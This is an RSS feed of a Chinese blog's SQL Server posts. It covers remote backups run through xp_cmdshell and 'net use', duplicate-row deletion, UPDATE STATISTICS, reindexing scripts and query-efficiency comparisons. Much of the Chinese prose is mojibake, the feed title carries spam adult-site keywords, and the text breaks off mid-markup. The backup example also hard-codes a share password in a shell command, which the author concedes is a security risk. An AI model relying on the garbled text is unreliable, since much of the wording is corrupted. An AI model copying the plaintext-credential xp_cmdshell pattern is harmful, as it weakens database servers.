??xml version="1.0" encoding="utf-8" standalone="yes"?>久色婷婷小香蕉久久,亚洲人成网站77777在线观看,在线日韩一区二区http://www.aygfsteel.com/liaojiyong/category/11449.htmlzh-cnSat, 27 Oct 2007 17:54:22 GMTSat, 27 Oct 2007 17:54:22 GMT60ms sql q程备䆾 job(?http://www.aygfsteel.com/liaojiyong/archive/2007/10/26/155998.htmlliaojiyongliaojiyongFri, 26 Oct 2007 00:19:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2007/10/26/155998.htmlhttp://www.aygfsteel.com/liaojiyong/comments/155998.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2007/10/26/155998.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/155998.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/155998.htmlmssql数据库远E备份的job


/*在远E机器操作系l的计算机管理里建立一个用户名为dbbackup的用P密码?234Q同时在那台机器的非pȝ盘里Z个名为backup的共享文件夹Qؓ了安全另外设|这个文件夹只有q个dbbackup用户可以讉K?/

declare @sql varchar(500)


select @sql='\\10.2.0.12\backup\dbname'+'_db_'+convert(varchar(10),getdate(),112) +


substring(convert(varchar(10),getdate(),108),1,2) +'.bak'


exec master..xp_cmdshell 'net use \\10.2.0.12\backup 1234 /user:remotehost\dbbackup'


backup database dbname to disk=@sql --备䆾数据库,q里?0.2.0.12E机器的ipQremotehostE机器的机器名,dbname为本地sqlserver服务器要备䆾的数据库


go


declare @sql varchar(500)


select @sql='del '+'\\10.2.0.12\backup\dbname'+'_db_'+convert(varchar(10),dateadd(day,-7,getdate()),112) +


substring(convert(varchar(10),dateadd(day,-7,getdate()),108),1,2) +'.bak'


exec master..xp_cmdshell @sql --删除7天前的备份,也就是只保留7个最新备?br />

























最q我在ؓ公司的框架程序(以数据应用ؓ导向的应用体p)做数据管理模块,q个模块的需求比较简单:备䆾、恢复和清理日志。我公司的Y件基本上以C/S为基本架构,所以数据管理模块中两个主要的功?#8216;备䆾与恢?#8217;都可能会在Client端操作,备䆾与恢?#8217;的文件也都有可能存储在client端,因而这个数据管理模块就必须能够实现在远E备份与恢复数据库?文章的前提阐q完了,p说说如何具体实现吧。其实都很简单,我想写个q程备䆾的测试实?br /> l大家看,p够很清楚的描q吧Q?br /> 实例说明Q?br /> 环境Qwin2k sqlserver 2K 查询分析?br /> SQLSERVER服务实例名称:mainserver
需要备份的数据库名U? msdb
本地机器名称QClient端)Qdavid
本地用户:zf 密码Q?23
本地域名Qdomain
本地提供备䆾需求的文g?e:\test W一? 建立׃n文g?br /> 在程序代码中调用Q或者CMDH口Q?net share test=e:\test
或者用NetShareAddq个API
要说明:
net share : 是WINDOWS内部的网l命令?br /> 作用Q徏立本地的׃n资源Q显C当前计机的共享资源信息?字串8
语法Q参?net share /?
W二? 建立׃n信用关系
master..xp_cmdshell 'net use \\david\test 123 /user:domain\zf'
要说明:
1Qxp_cmdshell Q是SQLSERVER的扩展存储过E?br /> 作用Q以操作pȝ命o行解释器的方式执行给定的命o字符Ԍ
q以文本行方式返回Q何输出?br /> 语法Q参见SQLSERVER联机帮助
2:net use : 是WINDOWS内部的网l命令?br /> 作用Q将计算Z׃n资源q接或断开Q或者显C关于计机
q接的信息。该命oq控制持久网l连接?br /> 语法Q参?net use /? W三?备䆾数据?br /> backup database msdb to disk='\\david\test\msdb.bak'
q个不需要说明吧Q语法参见SQLSERVER联机帮助 W四? 删除׃n文g?br /> 在程序代码中调用Q或者CMDH口Q?net share test /delete
或者用NetShareDelq个API
l果:
已处?1376 ,q些属于数据库 'msdb' 的文?'MSDBData'Q位于文?1 上)?

字串1


已处?1 ,q些属于数据库 'msdb' 的文?'MSDBLog'Q位于文?1 上)?br /> BACKUP DATABASE 操作成功地处理了 1377 ,p?3.653 U(3.086 MB/U)?q样mainserver服务器上的msdb备份到了david机器的E:\test\msdb.bak文g了,使用h很简单吧Q恢复数据库操作也是一P只要第三个步骤的语句改?restore database msdb from disk='\\david\test\msdb.bak'可以啦。。你看完了也可以试试呀Q!Q最单的试工具查询分析?CMDH口Q备注:xp_cmdshell q个扩展存储q程只能SAU别的用戯用,而且是SQLSERVER的安全隐患之一Q许多DBA都喜Ƣ将其删除或者禁用,所以开发h员用时要倍加心哦?br /> 文章中的例子只是要的说明了应如何利用扩展存储q程实现q程备䆾与恢复,没有涉及安全以及其他斚w的考虑Q希望读者在代码中自行完善?


go



liaojiyong 2007-10-26 08:19 发表评论
]]>
SQL Server SQL语句调优技巧(转)http://www.aygfsteel.com/liaojiyong/archive/2007/04/12/110223.htmlliaojiyongliaojiyongThu, 12 Apr 2007 09:25:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2007/04/12/110223.htmlhttp://www.aygfsteel.com/liaojiyong/comments/110223.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2007/04/12/110223.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/110223.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/110223.html阅读全文

liaojiyong 2007-04-12 17:25 发表评论
]]>
几个有意思的SQL查询http://www.aygfsteel.com/liaojiyong/archive/2007/03/23/105863.htmlliaojiyongliaojiyongFri, 23 Mar 2007 08:05:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2007/03/23/105863.htmlhttp://www.aygfsteel.com/liaojiyong/comments/105863.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2007/03/23/105863.html#Feedback1http://www.aygfsteel.com/liaojiyong/comments/commentRss/105863.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/105863.html/********************************************
DROP TABLE tblMaster
DROP TABLE tblCopy
SELECT * FROM tblMaster
SELECT * FROM tblCopy
DELETE FROM tblMaster
DELETE FROM tblCopy
********************************************/
--Create Table
--创徏?/font>
CREATE TABLE tblMaster(
 id int identity(1,1) not null ,
 details varchar(8000) null
)

--Insert Initial Data
--插入初始数据

INSERT INTO  tblMaster(details)
 SELECT N'A'
UNION ALL
 SELECT N'B'
UNION ALL
 SELECT N'C'
UNION ALL
 SELECT N'?
UNION ALL
 SELECT N'?
UNION ALL
 SELECT N'?
UNION ALL
 SELECT N'?
UNION ALL
 SELECT N'A'
UNION ALL
 SELECT N'B'
UNION ALL
 SELECT N'?
UNION ALL
 SELECT N'?
UNION ALL
 SELECT N'?
UNION ALL
 SELECT N'?

--Copy Table,Exclude Data
--复制表,不拷贝数?/font>
SELECT
 TOP 0
 *
INTO
 tblCopy 
FROM
 tblMaster
WHERE
 1<>1

--Copy data
--拯数据

INSERT INTO
 tblCopy(details)
SELECT
 details
FROM
 tblMaster

--Caculate Distance Between Two Days
--计算两天之间的时间间?br>
SELECT datediff(day,'2006-12-12','2007-12-12')

--Search From 2th Record and 6th Record
--查询从第二条记录到第六条记录

SELECT
  *
FROM
  (
  SELECT
   top 5 *
   FROM  (
     SELECT
      top 6 id,details
      FROM tblMaster
     ORDER BY
      id  asc
    ) a
  ORDER BY
   id desc
 ) T
ORDER BY
 id asc

--Choose some Records Random
--随机选取几条数据

SELECT 
 top 3 *
 FROM
 tblMaster
ORDER BY 
 newID()

--Delete Duplicated Data
--删除重复数据
DELETE FROM
 tblCopy
Where 
 id not  in(
  SELECT
    min(id)
  FROM
   tblCopy
  Group by
   details
 )

--if the value of tblMaster.details ==  null then the following clauses have different values
--如果details列有null?那么如下两条语句得到的返回g{?br>
SELECT
 count(*)
FROM
 tblMaster

SELECT
 count(details)
FROM
 tblMaster

--Password Encrypt return 1:equel;return 0:not equel
--密码加密 q回1:相等;q回2:不相{?/font>
SELECT  pwdcompare('123',pwdencrypt('123'),0)



liaojiyong 2007-03-23 16:05 发表评论
]]>
使用索引和统计特性来提高数据库的查询性能Q{Q?/title><link>http://www.aygfsteel.com/liaojiyong/archive/2007/03/23/105782.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Fri, 23 Mar 2007 03:31:00 GMT</pubDate><guid>http://www.aygfsteel.com/liaojiyong/archive/2007/03/23/105782.html</guid><wfw:comment>http://www.aygfsteel.com/liaojiyong/comments/105782.html</wfw:comment><comments>http://www.aygfsteel.com/liaojiyong/archive/2007/03/23/105782.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/liaojiyong/comments/commentRss/105782.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/liaojiyong/services/trackbacks/105782.html</trackback:ping><description><![CDATA[ <span id="wmqeeuq" class="hui"> <span id="wmqeeuq" class="hui">作者: <font color="blue">TechRepublic.com</font></span> <br /> <span id="wmqeeuq" class="hui">Friday, March 5 2004 9:51 AM</span> <!-- BEGIN:STORY --> <table> <tbody> <tr> <td class="text1"> <p> <b>特别说明Q?/b> <br />在微软的SQL服务器系l中Q对数据库查询功能进行适当的优化需要懂得一些基本的查询索引和性能l计斚w的知识。熟悉该pȝ的优化工作是如何实现的将有助于提高决{的正确性?</p> <p>随着你对微Y的SQL服务器数据库实现的逐渐熟悉Q性能优化的需求也进一步增加。徏立一个真正实现最优查询功能的数据库环境的W一步是要懂得SQL服务器系l的优化器是如何工作的?</p> <p> <span id="wmqeeuq" class="mdeck"> <b>索引</b> </span> <br />虽然对于特定的查询来_q行查询规划和性能优化可能只需要少量的成本估算与比较,也可以没有成本估与比较Q但是大多数的查询将从实现完全优化的工作中受益。提高查询性能的最有效的方法之一是创徏一个高效率的烦引。一个构架良好的索引在执行查询工作的时候可以避免出现扫描整个数据表的情c?</p> <p>在创建烦引的时候,SQL服务器系l将自动度量和存储那些与索引列相关的分布状态值相对应的统计信息。这些统计信息常常被优化器用来评估查询的优化{略是否合理?</p> <p>有两U类型的索引Qclustered索引和non-clustered索引Q根据数据集合的不同Q每U类型的索引都有各自独特的优炏V?</p> <p>clustered索引要求数据表中数据按照序存储。因为数据已l排序,所以对于查找一定范围的索引值时clustered 索引是非常有效的。对于查扑օ有唯一索引值的行信息来_q种cd的烦引性能也优于其他类型的索引?</p> <p>non-clustered索引和教U书中的索引非常怼Q烦引在一个位|而其数据值却在另外一个位|。对于一个数据值的查询搜烦来说Q首先搜索non-clustered的烦引,扑ֈ数据值在数据表中的位|,然后直接从这个位|得到数据。non-clustered 索引对于_匚w查询是非常有用的?</p> <p> <span id="wmqeeuq" class="mdeck"> <b>l计?/b> </span> <br />作ؓ一U常用的规则Q和大多数商业用需求一P索引的数量应该尽可能,以减与每个查询相关的处理过E。如果要分析和优化查询的性能Q首先应该度量和攉数据的统计特性?</p> <p>SQL服务器系l能够维护烦引值的数据l计Ҏ。如果对其进行适当的配|,对于非烦引g能够q行l计度量?</p> <p>对于性能优化Q数据库理员应该懂得几个基本的l计概念Q这些概늚定义如下Q?</p> <p> </p> </td> </tr> </tbody> <li>基数Q度量在数据集中可以存在多少个唯一倹{?br /></li> <li>密度Q度量在数据集中唯一值的个数。密度通过如下Ҏ得到Q给定键值的行数除以数据表的总行数。优化器忽略高密度的烦引?br /></li> <li>选择率:度量对于一个特定的查询返回查询结果的行数。选择率通过如下Ҏ得到Q查询关键字的个数除以查询得到的行数。要计算查询规划的相Ҏ本,优化器需要一个有效的选择率来度量? <p>随着列中数据的变化,索引和列l计信息变得没有用处了Q这样将D优化器在军_如何处理查询时达不到最优性能。因此,Ҏ数据表中数据的变化,SQL服务器系l周期的自动更新q些l计信息。通过对这些数据的采样Q这U统计信息的自动更新得成本降到最低,而且不需要对全部数据q行分析?</p><p><span id="wmqeeuq" class="mdeck"><b>最x能</b></span><br />在一个复杂的数据库表中设计ƈ指定索引是一仉常棘手的d。幸q的是,SQL服务器系l有一个内|的调节向导来帮助你建立最优的l计和烦引集合。要提高数据库的查询性能Q可以通过q行向导来提供一个基于脚本的列表?</p><p>对于SQL服务器查询优化器如何工作q一部分懂得多Q你׃知道对于特定的情形ؓ什么只能用向导的徏议来实现。但是,对于动态系l来_最佳的数据库性能分析部分需要进行周期性地更新。理解查询烦引性能中的每个l计度量的真正含义将有助于你在管理决{方面有一个良好的知识基础?/p></li> </table> </span> <br /> <br /> <br /> <br /> <font size="2"> <strong>更新索引l计<br />分布面q不是每ơ一个记录更新时都要q行更新.在大型数据库?q会D巨大的性能损失.因此,当用户初始创Z个空表时,分布面仍是I的.它仅在发生如下情冉|才被更新:<br />1.用户在一个已存在数据表上创徏一个烦?<br />2.用户q行了update satatic语句<br />从系l管理员角度来看,用户应该创徏一个工h自动地更新分布页?自动更新应该臛_每周一?如果数据量每天增?0%以上则应每天一?<br />因ؓ不可能每天都d索引,用户需要用update statistics语句更新分布面,用以优化SQLserver.</strong> </font> <p> </p> <p> <b>UPDATE STATISTICS</b> <br />在指定的表或索引视图中,对一个或多个l计l(集合Q有关键值分发的信息q行更新。若要基于列生成l计Q请参见 CREATE STATISTICS。?/p> <p>语法<br />UPDATE STATISTICS table | view<br />    [ <br />        index<br />        | ( statistics_name [ ,...n ] )<br />    ] <br />    [    WITH<br />        [ <br />            [ FULLSCAN ]<br />            | SAMPLE number { PERCENT | ROWS } ]<br />            | RESAMPLE<br />        ] <br />        [ [ , ] [ ALL | COLUMNS | INDEX ]<br />        [ [ , ] NORECOMPUTE ] <br />    ] </p> <p>参数<br />table | view</p> <p>要更新统计的表或索引视图的名U。表名和视图名必ȝ合标识符的规则。有x多信息,请参见用标识符。由于烦引名在每个数据库中不唯一Q所以必L定 table 或 view。可选择指定数据库、表或视图所有者。只有在 Microsoft? SQL Server? 2000 企业版中才支持烦引视图?/p> <p>index</p> <p>要更新统计的索引。烦引名必须W合标识W的规则。如果未指定 indexQ则更新指定表或索引视图中的所有烦引的分发l计。若要查看烦引名和描q的列表Q请带表名或视图名执行 sp_helpindex?/p> <p>statistics_name</p> <p>要更新的l计l(集合Q的名称。统计名U必ȝ合标识符规则。有关生成统计组的更多信息,请参见 CREATE STATISTICS?/p> <p>n</p> <p>是表C可以指定多个 statistic_name l的占位W?/p> <p>FULLSCAN</p> <p>指定应读取 table 或 view 中的所有行以收集统计。FULLSCAN 提供与 SAMPLE 100 PERCENT 相同的行为。FULLSCAN 不能与 SAMPLE 选项一起用?/p> <p>SAMPLE number { PERCENT | ROWS }</p> <p>当ؓ较大的表或视图收集统计时Q指定要采样的表或烦引视囄癑ֈ比或行数。number 只允怋用整敎ͼ无论它是 PERCENT q是 ROWS。若要对较大的表或视图用默认采栯为,请将 SAMPLE number 和 PERCENT 或 ROWS 一起用。Microsoft SQL Server 确保值的采样C低于某一数目Q以保证l计有用。如果 PERCENT、ROWS 或 number 选项D要采L行数q小QSQL Server 则自动根据表或视图中的现有行数改正采栗?/p> <p> </p> <p>说明  默认行ؓ是在目标表或索引视图上进行采h描。SQL Server 自动计算所需的样本大?/p> <p> <br />RESAMPLE</p> <p>指定使用从所有现有统计(包括索引Q承的采样速率来收集统计。如果采样速率D要采L行过,SQL Server 则自动根据表或视图中的现有行数改正采栗?/p> <p>ALL | COLUMNS | INDEX</p> <p>指定 UPDATE STATISTICS 语句是否影响列统计、烦引统计或所有现有统计。如果未指定选项Q则 UPDATE STATISTICS 语句影响所有的l计。每个 UPDATE STATISTICS 语句只能指定一U类型(ALL、COLUMNS 或 INDEXQ。?/p> <p>NORECOMPUTE</p> <p>指定q期l计不自动重新计。统计过期与否取决于在烦引列上进行的 INSERT、UPDATE 和 DELETE 操作的数量。指定该选项Ӟ导臾bSQL Server 用自动l计重徏功能。若要还原自动统计重新计,请重新执行 UPDATE STATISTICSQ不要 NORECOMPUTE 选项Q,或者执行 sp_autostats?/p> <p> </p> <p>重要  用自动l计重新计算会导臾bSQL Server 查询优化器对于涉及指定表的查询选择非最佳的{略?/p> <p> <br />注释<br />SQL Server 保留每个索引中关于键值分发的l计Qƈ且用这些统计来军_查询处理中用哪个(或哪些)索引。用户可以通过使用 CREATE STATISTICS 语句生成Z非烦引列的统计。查询优化依赖于分发步骤的准性: </p> <p>如果索引中的键值有显著变化Q请Ҏ索引重新q行 UPDATE STATISTICS?/p> <p> <br />如果索引列中d、更Ҏ删除大量数据Q即如果键值分发更改)Q或者用 TRUNCATE TABLE 语句表截断然后重新填充Q请使用 UPDATE STATISTICS。?br />若要查看l计最q一ơ更新的旉Q请使用 STATS_DATE 函数?/p> <p>只有当能够在计算列上创徏索引Ӟ才可以在包含q些计算列的表上创徏或更新统计。有兛_计算列上创徏索引的要求和限制的更多信息,请参见 CREATE INDEX?/p> <p>权限<br />UPDATE STATISTICS 权限默认授予表或视图的所有者,q且该权限不可{让?/p> <p>CZ<br />A. 更新单个表的所有统?br />本示例更新表 authors 上的所有烦引分发统计?/p> <p>UPDATE STATISTICS authors</p> <p>B. 仅更新单一索引的统?br />本示例仅更新表 authors 的烦引 au_id_ind 的分发信息。?/p> <p>UPDATE STATISTICS authors au_id_ind</p> <p>C. 使用 50% 采样更新特定l计l(集合Q的l计<br />本示例首先创 authors 中 au_lname 列和 au_fname 列的l计l,然后对其q行更新?/p> <p>CREATE STATISTICS anames <br />   ON authors (au_lname, au_fname)<br />   WITH SAMPLE 50 PERCENT<br />GO<br />-- Time passes. The UPDATE STATISTICS statement is then executed.<br />UPDATE STATISTICS authors(anames) <br />   WITH SAMPLE 50 PERCENT<br />GO</p> <p>D. 使用 FULLSCAN 和 NORECOMPUTE 更新特定l计l(集合Q的l计<br />本示例更新表 authors 中的 anames l计l(集合Q,强制对表 authors 中的所有行q行完全扫描Qƈ且关闭该l计l(集合Q的自动l计更新?/p> <p>UPDATE STATISTICS authors(anames)<br />   WITH FULLSCAN, NORECOMPUTE</p> <p> <b>sp_updatestats对当前数据库中所有用户定义的表运行 UPDATE STATISTICS</b>?/p> <p>语法<br />sp_updatestats [[@resample =] ''resample'']</p> <p>q回代码?br />0Q成功)或?Q失败)</p> <p>参数<br />[@resample =] ''resample''</p> <p>指定 sp_updatestats 用 UPDATE STATISTICS 命o的 RESAMPLE 选项。新l计表将l承旧统计表的采h率。如果未指定 ''resample''Q则 sp_updatestats 使用默认采样更新l计表。该参数的数据类型ؓ varchar(8)Q默认gؓ ''NO''?/p> <p>注释<br />sp_updatestats 会显CC其q度的消息。完成更C后,该存储过E将报告已ؓ所有的表更Cl计信息。?/p> <p>权限<br />只有 DBO 和 sysadmin 固定服务器角色的成员才能执行该过E?/p> <p>CZ<br />下例为数据库 pubs 中的表更新统计信息?/p> <p>USE pubs<br />EXEC sp_updatestats <br /><br /><br />Sqlserver7 ~程技术内q提供的Ҏ. </p> <p> </p> <p>drop proc pr_updateindex<br />create proc pr_updateindex<br />as<br /> set nocount on <br /> declare get_index_curs cursor <br />  for select name--tablename<br />  from sysobjects --systemtable<br /> where type=''u'' -usertable</p> <p> declare @holdtable varchar(30)<br /> declare @message varchar(40)<br /> declare @dynamic varchar(51)</p> <p> open getindex_curs<br /> fetch next from getindex_curs into @holdtable<br /> while @@fetch_status=0<br /> begin<br />   select @dynamic=''update statistics ''+@holdtable<br />   select @message=''updating''+@holdtable<br />   exec(@dynamic)<br />  print @message<br />  fetch next from getindex_curs into @holdtable<br />end<br />  close getindex_curs<br /><br /><br /><br /><br /></p> <p>Copyright (C) 2003 Cameron Michelis copying and redistribution of this file is permitted provided <br />this notice and the above comments are preserved.<br />*/</p> <p>Set quoted_identifier off<br />use master<br />DECLARE @fillfactor varchar(2)<br />DECLARE @tablename varchar(30)<br />DECLARE @tablename_header varchar(75)<br />DECLARE @dataname varchar(30)<br />DECLARE @dataname_header varchar(75)<br />DECLARE datanames_cursor CURSOR FOR SELECT name FROM sysdatabases<br />        WHERE name not in ('master', 'pubs', 'tempdb', 'model', 'northwind')<br />/* Variable Initialization */<br /> select @fillfactor = "0" -- Set Fill factor here<br />     -- Note "0" will use original fillfactor.<br />/* End Variable Initialization */<br />OPEN datanames_cursor</p> <p>  FETCH NEXT FROM datanames_cursor INTO @dataname</p> <p>  WHILE (@@fetch_status <> -1)<br />    BEGIN<br />      IF (@@fetch_status = -2)<br />        BEGIN<br />  FETCH NEXT FROM datanames_cursor INTO @dataname<br />           CONTINUE<br />        END<br /> SELECT @dataname_header = "Database " + RTRIM(UPPER(@dataname))<br />       PRINT " "<br /> PRINT @dataname_header<br />       PRINT " "<br /> EXEC ("USE " + @dataname + " DECLARE tnames_cursor CURSOR FOR SELECT name from sysobjects where type = 'U'")<br /> Select @dataname_header = RTRIM(UPPER(@dataname))<br /> Exec ("Use " + @dataname) <br /> OPEN tnames_cursor<br />  FETCH NEXT FROM tnames_cursor INTO @tablename<br />  WHILE (@@fetch_status <> -1)<br />          BEGIN<br />             IF (@@fetch_status = -2)            <br />    BEGIN<br />                  FETCH NEXT FROM tnames_cursor INTO @tablename<br />                  CONTINUE<br />               END<br />        SELECT @tablename_header = "  Updating " + RTRIM(UPPER(@tablename))<br />    PRINT ""<br />             PRINT @tablename_header<br />    EXEC ("USE " + @dataname + " DBCC DBREINDEX (" + @tablename + "," + "''" + "," + @fillfactor + ")")<br />    EXEC ("USE " + @dataname + " UPDATE STATISTICS " + @tablename)<br />    FETCH NEXT FROM tnames_cursor INTO @tablename<br />          END<br /> DEALLOCATE tnames_cursor<br />       FETCH NEXT FROM datanames_cursor INTO @dataname<br />      END<br />DEALLOCATE datanames_cursor<br />PRINT ""<br />PRINT " "<br />PRINT "Indexing complete for All User Databases"<br /><br /></p> <pre>SET QUOTED_IDENTIFIER OFF /* Start with master DB */ USE master /* Create Variables */ DECLARE @DBName CHAR(64) DECLARE @TableName CHAR(64) DECLARE @FQTableName CHAR(64) DECLARE @TempVar CHAR(256) /* Create DB List */ DECLARE DBCursor CURSOR FOR SELECT name FROM master..sysdatabases OPEN DBCursor FETCH NEXT FROM DBCursor INTO @DBName /* Create Database Loop */ WHILE @@FETCH_STATUS = 0 BEGIN /* Retrieve Table List */ PRINT 'Retrieving Table List for DB ' + @DBName EXEC ('SELECT name AS TableName INTO ##TableNames FROM [' + @DBName + ']..sysobjects WHERE type = ''U''') /* Open Table List */ DECLARE TableCursor CURSOR FOR SELECT TableName FROM ##TableNames OPEN TableCursor FETCH NEXT FROM TableCursor INTO @TableName /* Create Table Loop */ WHILE @@FETCH_STATUS = 0 BEGIN /* Add DB Name to Table Name */ SELECT @FQTableName = QUOTENAME(RTRIM(@DBName)) + '..' + QUOTENAME(RTRIM(@TableName)) SELECT @TableName = RTRIM(@DBName) + '..' + RTRIM(@TableName) /* ReIndex Table */ PRINT 'ReIndexing Table ' + @TableName DBCC DBREINDEX(@TableName) /* Update Statics on Table */ PRINT 'Updating Statistics on Table ' + @TableName EXEC ('UPDATE STATISTICS ' + @FQTableName) /* Get Next Table Name */ FETCH NEXT FROM TableCursor INTO @TableName END /* Close Table Cursor */ CLOSE TableCursor DEALLOCATE TableCursor /* Remove Tempory Table */ DROP TABLE ##TableNames /* Preform DB Checks */ PRINT 'Preforming DB Checks on ' + @DBName DBCC CHECKDB (@DBName) /* Get Next Table Name */ FETCH NEXT FROM DBCursor INTO @DBName END /* Close DB Curosor */ CLOSE DBCursor DEALLOCATE DBCursor /* Finished */ </pre> <img src ="http://www.aygfsteel.com/liaojiyong/aggbug/105782.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/liaojiyong/" target="_blank">liaojiyong</a> 2007-03-23 11:31 <a href="http://www.aygfsteel.com/liaojiyong/archive/2007/03/23/105782.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>删除数据库中重复记录的SQL语句Q{Q?/title><link>http://www.aygfsteel.com/liaojiyong/archive/2007/03/20/105039.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 20 Mar 2007 09:07:00 GMT</pubDate><guid>http://www.aygfsteel.com/liaojiyong/archive/2007/03/20/105039.html</guid><wfw:comment>http://www.aygfsteel.com/liaojiyong/comments/105039.html</wfw:comment><comments>http://www.aygfsteel.com/liaojiyong/archive/2007/03/20/105039.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.aygfsteel.com/liaojiyong/comments/commentRss/105039.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/liaojiyong/services/trackbacks/105039.html</trackback:ping><description><![CDATA[ <div id="wmqeeuq" class="cnt"> <p>在几千条记录?存在着些相同的记录,如何能用SQL语句,删除掉重复的?</p> <p>1、查找表中多余的重复记录Q重复记录是Ҏ单个字段QpeopleIdQ来判断<br />select * from people<br />where peopleId in (select  peopleId  from  people  group  by  peopleId  having  count(peopleId) > 1)</p> <p>2、删除表中多余的重复记录Q重复记录是Ҏ单个字段QpeopleIdQ来判断Q只留有rowid最的记录<br />delete from people <br />where peopleId  in (select  peopleId  from people  group  by  peopleId   having  count(peopleId) > 1)<br />and rowid not in (select min(rowid) from  people  group by peopleId  having count(peopleId )>1)</p> <p>3、查找表中多余的重复记录Q多个字D) <br />select * from vitae a<br />where (a.peopleId,a.seq) in  (select peopleId,seq from vitae group by peopleId,seq  having count(*) > 1)</p> <p>4、删除表中多余的重复记录Q多个字D)Q只留有rowid最的记录<br />delete from vitae a<br />where (a.peopleId,a.seq) in  (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1) and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)>1)</p> <p>5、查找表中多余的重复记录Q多个字D)Q不包含rowid最的记录<br />select * from vitae a<br />where (a.peopleId,a.seq) in  (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1) and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)>1)</p> </div> <br /> <img src ="http://www.aygfsteel.com/liaojiyong/aggbug/105039.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/liaojiyong/" target="_blank">liaojiyong</a> 2007-03-20 17:07 <a href="http://www.aygfsteel.com/liaojiyong/archive/2007/03/20/105039.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL各种写法的效率问?/title><link>http://www.aygfsteel.com/liaojiyong/archive/2007/03/19/104732.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Mon, 19 Mar 2007 06:18:00 GMT</pubDate><guid>http://www.aygfsteel.com/liaojiyong/archive/2007/03/19/104732.html</guid><wfw:comment>http://www.aygfsteel.com/liaojiyong/comments/104732.html</wfw:comment><comments>http://www.aygfsteel.com/liaojiyong/archive/2007/03/19/104732.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/liaojiyong/comments/commentRss/104732.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/liaojiyong/services/trackbacks/104732.html</trackback:ping><description><![CDATA[ <p>1)一ơ插入多条数据时:<br />CREATE TABLE tb(ID int, 名称 NVARCHAR(30), 备注 NVARCHAR(1000))<br />INSERT tb   SELECT 1,'DDD',1<br />UNION  ALL        SELECT 1,'5100','D'<br />UNION  ALL        SELECT 1,'5200','E'</p> <p>也可以这?<br />CREATE TABLE tb1(ID int, 名称 NVARCHAR(30), 备注 NVARCHAR(1000))<br />INSERT TB1 (ID,名称,备注)VALUES(1,'DDD',1)<br />INSERT TB1 (ID,名称,备注)VALUES(1,'5100','D')<br />INSERT TB1 (ID,名称,备注)VALUES(1,'5200','E')<br />_________________________________<br />上面两种Ҏ,哪种Ҏ效率?</p> <p>(2)赋值时:<br />SELECT @a=N'aa'<br />SET @a=N'aa'<br />_________________________________<br />上面两种Ҏ,哪种Ҏ效率?</p> <p>(3)取前几条数据?br />set ROWCOUNT 2 select * from tb order by fd<br />select Top 2 * from tb order by fd<br />_________________________________<br />上面两种Ҏ,哪种Ҏ效率?</p> <p>(4)条g判断?br /> where 0<(select count(*) from tb where ……)<br /> where exists(select * from tb where ……) <br />_________________________________<br />上面两种Ҏ,哪种Ҏ效率?</p> <p>(5)NULLIF的?---->同理它的反函数ISNULL的?br />update tb set fd=case when fd=1 then null else fd end<br />update tb set fd=nullif(fd,1)<br />_________________________________<br />上面两种Ҏ,哪种Ҏ效率?</p> <p>Q?Q从字符串中取子字符串时<br />substring('abcdefg',1,3)<br />left('abcderg',3)_<br />________________________________<br />上面两种Ҏ,哪种Ҏ效率?</p> <p>(7)EXCEPT和Not in的区?</p> <p>(8)INTERSECT和UNION的区?<br /><br /><br /><br />(1)一ơ插入多条数据时:</p> <p>W?U好一? 但也得有? 因ؓW?U的union all是做Z个语句整? 查询优化器会试做优? 同时, 也要先算个结果再插入?</p> <p>2. 如果是单个赋? 没有什么好比较的话.<br />不过, 如果是ؓ多个变量赋? 我测试过, SELECT 一ơ性赋? 比用SET 逐个赋值效率好.<br />3. SET ROWCOUNT和TOP 是一L, 包括执行的计划等都是一L</p> <p>4. q个一般是exists? 当然, 具体q要看你后面的子查询的条? 是否会引用外层查询中的对象的?<br />   exists查到有值就q回, 而且不返回结果集, count需要统计出所有满x件的, 再返回一个结果集, 所以一般情况下exists?<br /><br />5. 应该是一L<br /><br />6. 基本上是一L<br />7. except会去重复, not in 不会(除非你在select中显式指?<br />   except用于比较的列是所有列, 除非写子查询限制? not in 没有q种情况<br />8. intersect是两个查询都有的非重复?交集), union是两个查询结果的所有不重复?q)</p> <img src ="http://www.aygfsteel.com/liaojiyong/aggbug/104732.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/liaojiyong/" target="_blank">liaojiyong</a> 2007-03-19 14:18 <a href="http://www.aygfsteel.com/liaojiyong/archive/2007/03/19/104732.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>金额阿拉伯数字{换ؓ英文的存储过E?/title><link>http://www.aygfsteel.com/liaojiyong/archive/2007/01/16/94223.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 16 Jan 2007 07:49:00 